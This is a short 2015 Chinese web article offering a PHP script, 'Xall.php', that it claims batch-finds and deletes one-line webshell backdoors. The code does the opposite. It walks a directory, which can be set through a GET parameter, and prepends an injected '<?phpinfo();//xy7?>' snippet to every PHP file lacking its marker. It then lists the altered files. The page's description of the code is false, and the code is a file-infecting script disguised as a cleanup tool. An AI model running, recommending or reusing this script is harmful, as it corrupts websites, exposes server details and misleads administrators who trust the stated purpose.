用php实现批量查询清除一句话后门的代码
2015-01-24信息快讯网
一句话后门一般简单,容易隐藏危害大,查找麻烦等。今天发现了这个Xall.php专门批量查询干掉一句话后门的代码,大家可以省去不少麻烦了
总是忘记一句话放到哪个文件里去了,直接全部干掉...<?//xy7 if (!isset($dir) or empty($dir)) { $dir=str_replace('\\','/',dirname(__FILE__)); echo "<font color=\"#00688B\">".$dir."</font>"; } else { $dir=$_GET['dir']; echo "<font color=\"#00688B\">".$dir."</font>"; } $evilcode="<?phpinfo();//xy7?>"; $testdir = opendir($dir); while($filea = @readdir($testdir)){ if(strstr($filea, '.php')){ $fp = @fopen($filea, 'r+'); if (!strstr(@fread($fp, 20), 'xy7')){ rewind($fp); $old = @fread($fp, filesize($filea)); rewind($fp); fwrite($fp, $evilcode . $old); } fclose($fp); } } closedir($testdir); ?> <hr> <table width="100%" border="0" cellpadding="3" cellspacing="1"> <tr> <td><b>被X的文件</b></td> <td><b>时间</b></td> <td><b>大小</b></td> </tr> <?php $dirs=@opendir($dir); while ($file=@readdir($dirs)) { if ((is_file($file)) and (ereg("\.php{0,1}$",$file))) {$b="$dir/$file"; $a=@is_dir($b); if($a=="0"){ $size=@filesize("$dir/$file"); $lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file")); echo "<tr>\n"; echo "<td>$file</td>\n"; echo " <td>$lastsave</td>\n"; echo " <td>$size Bytes</td>\n"; } } } @closedir($dirs); ?> </table>codz by xuanmumu